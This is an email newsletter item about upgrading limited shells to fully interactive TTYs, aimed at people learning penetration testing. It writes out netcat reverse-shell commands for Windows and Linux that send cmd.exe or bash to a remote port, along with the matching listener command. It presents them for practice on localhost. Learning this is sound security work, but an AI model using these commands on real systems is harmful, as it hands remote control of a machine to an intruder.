Upgrading simple shells to fully interactive TTYs

Email update, 15 July 2017

A technical CATFACT for your Monday morning. This one is about converting limited shells to interactive ones: Upgrading simple shells to fully interactive TTYs

Those of you who have done some pentesting will be familiar with some of these tricks. I hadn’t seen the “stty” method-it’s really neat and I need to try it.


For those who aren’t familiar with the terminology, a “limited shell” is what you get if you send a shell prompt (like cmd.exe, or bash) over a TCP connection using something like netcat.

For example, to send a reverse shell to the IP address “” and port “4444” using netcat on Windows or Linux:

> nc -e cmd.exe 4444

$ nc -e /bin/bash 4444

On the receiver at (“catching the shell”):

$ nc -lvp 4444

Try it yourself - if you have access to a Linux system, you can send shells to “localhost” and catch them with netcat (you’ll need the ‘netcat-traditional’ variant for the -e flag). It’s a useful thing to practice with, as this is the basic level of access an unsophisticated attacker is looking for when they compromise a system.

Note that if you’re going to test this on a Windows, netcat itself might get flagged as malicious by some antivirus products.